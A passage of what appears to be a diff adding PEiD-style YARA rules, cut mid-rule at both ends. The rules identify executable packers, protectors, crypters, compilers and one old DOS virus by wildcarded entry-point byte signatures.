+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D3 E8 6A FF FF FF 85 C0 0F 84 59 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 B9 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 40 43 00 8B 3D 18 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+	condition:
+		$0
+}
+rule _PKLITE_v100c_2_
+{
+	meta:
+		description = "PKLITE v1.00c (2)"
+	strings:
+		$0 = {BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeCryptor_01_build_002__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 002) -> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 90 68 27 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0
+}
+rule _tElock_098__tE_
+{
+	meta:
+		description = "tElock 0.98 -> tE!"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_V100V124__cyclotron__Sign_by_fly_
+{
+	meta:
+		description = "EmbedPE V1.00-V1.24 -> cyclotron ! Sign by fly"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Armadillo_v182_
+{
+	meta:
+		description = "Armadillo v1.82"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12__Alexey_Solodovnikov_h1_
+{
+	meta:
+		description = "ASProtect v1.2 -> Alexey Solodovnikov (h1)"
+	strings:
+		$0 = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+	condition:
+		$0
+}
+rule _PLINK86_1984_1985_
+{
+	meta:
+		description = "PLINK86 1984, 1985"
+	strings:
+		$0 = {FA 8C C7 8C D6 8B CC BA ?? ?? 8E C2 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_August_16th_Iron_Maiden_
+{
+	meta:
+		description = "Vx: August 16th (Iron Maiden)"
+	strings:
+		$0 = {BA 79 02 03 D7 B4 1A CD 21 B8 24 35 CD 21 5F 57 89 9D 4E 02 8C 85 50 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_215__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 2.15 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XMI_music_file_
+{
+	meta:
+		description = "XMI music file"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 58 4D 49 44}
+	condition:
+		$0
+}
+rule _Petite_14_
+{
+	meta:
+		description = "Petite 1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0
+}
+rule _Password_protector_my_SMT_
+{
+	meta:
+		description = "Password protector my SMT"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B FD 81 ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 46 80 ?? ?? 74}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098_m_
+{
+	meta:
+		description = "aPack v0.98 -m"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+	condition:
+		$0
+}
+rule _Armadillo_v171_
+{
+	meta:
+		description = "Armadillo v1.71"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+	condition:
+		$0
+}
+rule _PKLITE32_11__PKWARE_Inc_
+{
+	meta:
+		description = "PKLITE32 1.1 -> PKWARE Inc."
+	strings:
+		$0 = {68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_vxx_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x"
+	strings:
+		$0 = {53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2}
+		$1 = {55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Crypter_13__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Crypter 1.3 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00}
+		$1 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v0978_
+{
+	meta:
+		description = "PECompact v0.978"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_290_300_400_DLL_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.90, 3.00, 4.00 DLL (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+	condition:
+		$0
+}
+rule _PocketPC_SHA_
+{
+	meta:
+		description = "PocketPC SHA"
+	strings:
+		$0 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+	condition:
+		$0 at entrypoint
+}
+rule _Lattice_C_v101_
+{
+	meta:
+		description = "Lattice C v1.01"
+	strings:
+		$0 = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_SelfExtractor_22_personal_edition__WinZip_Computing_h_
+{
+	meta:
+		description = "WinZip Self-Extractor 2.2 personal edition -> WinZip Computing (h)"
+	strings:
+		$0 = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeCryptor_02_build_002__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.2 (build 002) -> GlOFF"
+	strings:
+		$0 = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+	condition:
+		$0
+}
+rule _EXEPACK_LINK_v360_v364_v365_or_50121_
+{
+	meta:
+		description = "EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_12_by_Vaska_25032007_1658_
+{
+	meta:
+		description = "RJoiner 1.2 by Vaska (25.03.2007 16:58)"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v33__Silent_Software__Silent_Shield_c2005_h_
+{
+	meta:
+		description = "Morphine v3.3 -> Silent Software & Silent Shield (c)2005 (h)"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Borland_Delphi_50_KOLMCK__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _CERBERUS_v20_
+{
+	meta:
+		description = "CERBERUS v2.0"
+	strings:
+		$0 = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_11_SE_10__Northfox_
+{
+	meta:
+		description = "MEW 11 SE 1.0 -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C 00}
+	condition:
+		$0
+}
+rule _NsPack_31__Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.1 -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+	condition:
+		$0
+}
+rule _Armadillo_v301_v305_
+{
+	meta:
+		description = "Armadillo v3.01, v3.05"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_102_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector 1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_PESHiELD_025_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PESHiELD 0.25]"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_v006__forgotus_h_
+{
+	meta:
+		description = "PEQuake v0.06 -> forgot/us (h)"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D ?? ?? ?? 2D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V112502006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.250.2006.Beta -> NEOx/[uinC"
+	strings:
+		$0 = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.33 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+		$1 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_V2717V2719__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.717-V2.719 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_2628__Jtit_
+{
+	meta:
+		description = "Thinstall 2.628 -> Jtit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+	condition:
+		$0 at entrypoint
+}
+rule _MSVCpp_v8_procedure_1_recognized__h_
+{
+	meta:
+		description = "MSVC++ v.8 (procedure 1 recognized - h)"
+	strings:
+		$0 = {55 8B EC 83 EC 10 A1 ?? ?? ?? ?? 83 65 F8 00 83 65 FC 00 53 57 BF 4E E6 40 BB 3B C7 BB 00 00 FF FF 74 0D 85 C3 74 09 F7 D0 A3 ?? ?? ?? ?? EB 60 56 8D 45 F8 50 FF 15 ?? ?? ?? ?? 8B 75 FC 33 75 F8 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 8D 45 F0 50 FF 15 ?? ?? ?? ?? 8B 45 F4 33 45 F0 33 F0 3B F7 75 07 BE 4F E6 40 BB EB 0B 85 F3 75 07 8B C6 C1 E0 10 0B F0 89 35 ?? ?? ?? ?? F7 D6 89 35 ?? ?? ?? ?? 5E 5F 5B C9 C3}
+	condition:
+		$0
+}
+rule _by_Central_Point_Software_
+{
+	meta:
+		description = "by Central Point Software"
+	strings:
+		$0 = {50 51 52 56 57 8B EB 1E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_014020__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 014-020) -> GlOFF"
+	strings:
+		$0 = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_23__Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 2.3 -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+	condition:
+		$0
+}
+rule _Anti007_V25V26__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 V2.5-V2.6 -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v02Beta_
+{
+	meta:
+		description = "Upack v0.2Beta"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeSafe_20_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CodeSafe 2.0]"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v153_
+{
+	meta:
+		description = "EXECryptor v1.5.3"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0
+}
+rule _PEiDBundle_V101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.01 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_10_
+{
+	meta:
+		description = "EP 1.0"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+	condition:
+		$0
+}
+rule _SOFTWrapper_for_Win9xNT_Evaluation_Version_
+{
+	meta:
+		description = "SOFTWrapper for Win9x/NT (Evaluation Version)"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+		$1 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF 5F 5E 83 C6 14 83 C7 14 EB D3 00 00 00 00 8B F5 81 C6 0D 0A 00 00 B9 0C 00 00 00 8B 85 03 0F 00 00 01 46 02 83 C6 06 E2 F8 E8 06 08 00 00 68 00 01 00 00 8D 85 DD 0D 00 00 50 6A 00 E8 95 09 00 00 8B B5 03 0F 00 00 66 81 3E 4D 5A 75 33 03 76 3C 81 3E 50 45 00 00 75 28 8B 46 28 03 85 03 0F 00 00 3B C5 74 1B 6A 30 E8 99 09 00 00 6A 30 8D 85 DD 0D 00 00 50 8D 85 2B 0F 00 00 E9 55 03 00 00 66 8B 85 9D 0A 00 00 F6 C4 80 74 31 E8 6A 07 00 00 0B C0 75 23 6A 40 E8 69 09 00 00 6A 40 8D 85 DD 0D 00 00 50 8B 9D 17 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SkD_Undetectabler_3_No_FSG_2_Method__SkD_
+{
+	meta:
+		description = "SkD Undetectabler 3 (No FSG 2 Method) -> SkD"
+	strings:
